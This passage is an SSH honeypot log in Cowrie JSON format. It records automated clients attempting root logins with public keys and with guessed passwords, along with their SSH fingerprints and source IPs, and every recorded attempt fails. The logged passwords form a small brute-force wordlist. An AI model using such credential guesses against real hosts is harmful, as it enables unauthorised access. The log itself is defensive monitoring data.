{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:43.680526Z","src_ip":"45.43.45.254","session":"7a54d1eaa87d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"16:a3:6b:9b:6e:3c:cd:eb:98:cf:25:a0:41:30:98:2f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCyh9Nm1LdawB+gmmfsQ/SeOkYYfSEz6G08fwoHNMhEOT9iaguZK1mikx3kPnliAaNnVCjvS914BCK5lR82v3aMftc8QhcZN+gWn4cGGCZaf3akspDOhU0td7EOKO4rja3hOQ4nW6eA9riw5W1r2AufczmjryCdUy4+YFFka9SVsFAfh7SLaDVEzZVcN1CJko88kH8usyfKnORW4kTvhJ5BUgzFciuvpP7DiluUCUHYAlA1r7/cCJTdrTzgfTZW6EY2LdHDe7HDAKh5eBsOzyjjd2fRiN5Gc9iECVBon9jGL6FkYPs1gcXpJQxlj3zs5YHypFPb13RPg9GtLvvVZYLeHJJLFkdIIwSVsVYWE0GDWFqw3PILekrYe0hosuVCn0KAJqaS93TJALDbXTSI1NXmHMiMJIaIGiOMyy5OzYq+AXW5JDasjKwXu+DVUO2AHcOpwQOpmwdId+7rTT6GkYOEnPKKqBQNMHf5tnjHD2SIL6tCQ+Q9LqZfKxAfIaKNzgPZRd3KXaXVLhGXB+kt4FbkLKtrKET/whZFaShzcQATXURBteEDwc7C5sD7WKMaPuglMsf6hkFgeYBuBM4MgWLXxRk6sMAh2fCgShI/NWJLpsSuGwymEt1z4p0cWYJEsYQ8C6b6rbRHRS+nM9W6CUaYEiE0fd0b4bOZjLcTCqXEtQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 16:a3:6b:9b:6e:3c:cd:eb:98:cf:25:a0:41:30:98:2f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:44.587117Z","src_ip":"45.43.45.254","session":"7a54d1eaa87d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"16:a3:6b:9b:6e:3c:cd:eb:98:cf:25:a0:41:30:98:2f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCyh9Nm1LdawB+gmmfsQ/SeOkYYfSEz6G08fwoHNMhEOT9iaguZK1mikx3kPnliAaNnVCjvS914BCK5lR82v3aMftc8QhcZN+gWn4cGGCZaf3akspDOhU0td7EOKO4rja3hOQ4nW6eA9riw5W1r2AufczmjryCdUy4+YFFka9SVsFAfh7SLaDVEzZVcN1CJko88kH8usyfKnORW4kTvhJ5BUgzFciuvpP7DiluUCUHYAlA1r7/cCJTdrTzgfTZW6EY2LdHDe7HDAKh5eBsOzyjjd2fRiN5Gc9iECVBon9jGL6FkYPs1gcXpJQxlj3zs5YHypFPb13RPg9GtLvvVZYLeHJJLFkdIIwSVsVYWE0GDWFqw3PILekrYe0hosuVCn0KAJqaS93TJALDbXTSI1NXmHMiMJIaIGiOMyy5OzYq+AXW5JDasjKwXu+DVUO2AHcOpwQOpmwdId+7rTT6GkYOEnPKKqBQNMHf5tnjHD2SIL6tCQ+Q9LqZfKxAfIaKNzgPZRd3KXaXVLhGXB+kt4FbkLKtrKET/whZFaShzcQATXURBteEDwc7C5sD7WKMaPuglMsf6hkFgeYBuBM4MgWLXxRk6sMAh2fCgShI/NWJLpsSuGwymEt1z4p0cWYJEsYQ8C6b6rbRHRS+nM9W6CUaYEiE0fd0b4bOZjLcTCqXEtQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:44.589777Z","src_ip":"45.43.45.254","session":"7a54d1eaa87d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:44.753922Z","src_ip":"5.196.136.131","session":"c1e77cbd8ba7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7c:b2:04:9c:a4:4f:d2:c6:74:c3:b6:a5:6f:c0:ad:dd","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKZLbvHI84Brm+6IkEvr5U3Ymqy6PJJ/+jnn8AM2AcCD","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 7c:b2:04:9c:a4:4f:d2:c6:74:c3:b6:a5:6f:c0:ad:dd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:44.774987Z","src_ip":"45.43.45.254","session":"7a54d1eaa87d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7c:b2:04:9c:a4:4f:d2:c6:74:c3:b6:a5:6f:c0:ad:dd","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKZLbvHI84Brm+6IkEvr5U3Ymqy6PJJ/+jnn8AM2AcCD","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:44.777782Z","src_ip":"45.43.45.254","session":"7a54d1eaa87d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ae:cf:8e:71:e4:4b:f2:b1:b6:7d:46:dc:d7:49:29:e5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0bjyA93Qs3X3VVlbz1qGiq4vt0TdDBQcXgL5oP43VcsFQEFluF1u5AuwFvbxrTGAv6x/4XUooKPediAKyzX7bBZ30IR5G02Mitd8Zb34WOlTXdFEJW8BwpbGozHZO4kcnJjFWEWJOOH/GGN2V7v2MbanFcP/u503HHfy39nvSt6npecJgKVxcNBHjC2EsNE0kfTlXZLWyNCrhuj6EATcwtWvEcBLcLq0PYZQ1y6g8IiJZk8q0gnwWXeRDAAtriBDJzNPNfPHli0je3gLP/fPOHhXms/KeEUFK4/GHb8mA3eNKXkj/+uaLD85IhStCaZ5xciylpYo3+vkCC320J51gQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ae:cf:8e:71:e4:4b:f2:b1:b6:7d:46:dc:d7:49:29:e5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:44.961894Z","src_ip":"45.43.45.254","session":"7a54d1eaa87d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ae:cf:8e:71:e4:4b:f2:b1:b6:7d:46:dc:d7:49:29:e5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0bjyA93Qs3X3VVlbz1qGiq4vt0TdDBQcXgL5oP43VcsFQEFluF1u5AuwFvbxrTGAv6x/4XUooKPediAKyzX7bBZ30IR5G02Mitd8Zb34WOlTXdFEJW8BwpbGozHZO4kcnJjFWEWJOOH/GGN2V7v2MbanFcP/u503HHfy39nvSt6npecJgKVxcNBHjC2EsNE0kfTlXZLWyNCrhuj6EATcwtWvEcBLcLq0PYZQ1y6g8IiJZk8q0gnwWXeRDAAtriBDJzNPNfPHli0je3gLP/fPOHhXms/KeEUFK4/GHb8mA3eNKXkj/+uaLD85IhStCaZ5xciylpYo3+vkCC320J51gQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:44.964601Z","src_ip":"45.43.45.254","session":"7a54d1eaa87d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"36:26:0d:f5:9d:5d:41:af:a8:1d:a3:8f:6f:36:44:2a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOW6ziDm7Qc1P6ImHocopP/qBPe8El7YX82p8aCuKJK/2r8DTZW32X6IERoSIIbj8MmGFGqDkJEc3QNx9hS7D8M/QAUkFIkw8zP4yGddTQ97w4tfsrfcqpx2y5FMvH9NpYoOmM5PPB1TVg5C3QLxUI/loNh9MscAxsPWvpZbWurkrGLZ3hiHG4DFJ8bkwdPW8dxHLmt8ELk9Q7ofLC1BkLntb5OCmN7tO6rLjsY9HWj0ZnFhZ6QAy1FpPmuyEim3TRNCVrGAxFJJ2vmps/cz+RklIUWWlkumcsFGIYG0Q9Jd7Vxi6CY3pE8FkSAjGTBuAUlIBaeus61SAKh8yyXN0D","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 36:26:0d:f5:9d:5d:41:af:a8:1d:a3:8f:6f:36:44:2a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:45.150514Z","src_ip":"45.43.45.254","session":"7a54d1eaa87d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"36:26:0d:f5:9d:5d:41:af:a8:1d:a3:8f:6f:36:44:2a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOW6ziDm7Qc1P6ImHocopP/qBPe8El7YX82p8aCuKJK/2r8DTZW32X6IERoSIIbj8MmGFGqDkJEc3QNx9hS7D8M/QAUkFIkw8zP4yGddTQ97w4tfsrfcqpx2y5FMvH9NpYoOmM5PPB1TVg5C3QLxUI/loNh9MscAxsPWvpZbWurkrGLZ3hiHG4DFJ8bkwdPW8dxHLmt8ELk9Q7ofLC1BkLntb5OCmN7tO6rLjsY9HWj0ZnFhZ6QAy1FpPmuyEim3TRNCVrGAxFJJ2vmps/cz+RklIUWWlkumcsFGIYG0Q9Jd7Vxi6CY3pE8FkSAjGTBuAUlIBaeus61SAKh8yyXN0D","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:45.153650Z","src_ip":"45.43.45.254","session":"7a54d1eaa87d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"07:55:58:c0:95:72:19:8f:59:03:40:5d:04:2e:fe:50","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGMRAcKGLN4Xl6gTQRekrNixGigowXQTdYMDPJ/25d9T","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 07:55:58:c0:95:72:19:8f:59:03:40:5d:04:2e:fe:50","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:45.348383Z","src_ip":"45.43.45.254","session":"7a54d1eaa87d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"07:55:58:c0:95:72:19:8f:59:03:40:5d:04:2e:fe:50","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGMRAcKGLN4Xl6gTQRekrNixGigowXQTdYMDPJ/25d9T","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:45.351201Z","src_ip":"45.43.45.254","session":"7a54d1eaa87d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:45.536844Z","src_ip":"45.43.45.254","session":"7a54d1eaa87d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":23048,"dst_ip":"10.17.0.5","dst_port":22,"session":"416411831cf3","protocol":"ssh","message":"New connection: 5.196.136.131:23048 (10.17.0.5:22) [session: 416411831cf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:47.770047Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:47.774015Z","src_ip":"5.196.136.131","session":"416411831cf3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:47.851519Z","src_ip":"5.196.136.131","session":"416411831cf3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome@123","message":"login attempt [root/Welcome@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:48.084731Z","src_ip":"5.196.136.131","session":"416411831cf3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.29.223.30","src_port":40776,"dst_ip":"10.17.0.5","dst_port":22,"session":"48b5c783d308","protocol":"ssh","message":"New connection: 202.29.223.30:40776 (10.17.0.5:22) [session: 48b5c783d308]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:49.061344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:49.064964Z","src_ip":"202.29.223.30","session":"48b5c783d308","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:49.164476Z","src_ip":"5.196.136.131","session":"416411831cf3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:49.306053Z","src_ip":"202.29.223.30","session":"48b5c783d308","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2023","message":"login attempt [root/unitedstates2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:50.027721Z","src_ip":"202.29.223.30","session":"48b5c783d308","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:51.269290Z","src_ip":"202.29.223.30","session":"48b5c783d308","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":56624,"dst_ip":"10.17.0.5","dst_port":22,"session":"5aaa2559d918","protocol":"ssh","message":"New connection: 5.196.136.131:56624 (10.17.0.5:22) [session: 5aaa2559d918]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:52.181027Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:52.184837Z","src_ip":"5.196.136.131","session":"5aaa2559d918","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:52.261848Z","src_ip":"5.196.136.131","session":"5aaa2559d918","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rock","message":"login attempt [root/rock] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:52.494056Z","src_ip":"5.196.136.131","session":"5aaa2559d918","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:53.573880Z","src_ip":"5.196.136.131","session":"5aaa2559d918","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":47296,"dst_ip":"10.17.0.5","dst_port":22,"session":"47326538a404","protocol":"ssh","message":"New connection: 194.113.233.25:47296 (10.17.0.5:22) [session: 47326538a404]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:55.506928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:55.512820Z","src_ip":"194.113.233.25","session":"47326538a404","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:55.600933Z","src_ip":"194.113.233.25","session":"47326538a404","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"23021976","message":"login attempt [root/23021976] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:55.868675Z","src_ip":"194.113.233.25","session":"47326538a404","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":63121,"dst_ip":"10.17.0.5","dst_port":22,"session":"42bfe7508ca3","protocol":"ssh","message":"New connection: 5.196.136.131:63121 (10.17.0.5:22) [session: 42bfe7508ca3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:56.648258Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:28:56.651956Z","src_ip":"5.196.136.131","session":"42bfe7508ca3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-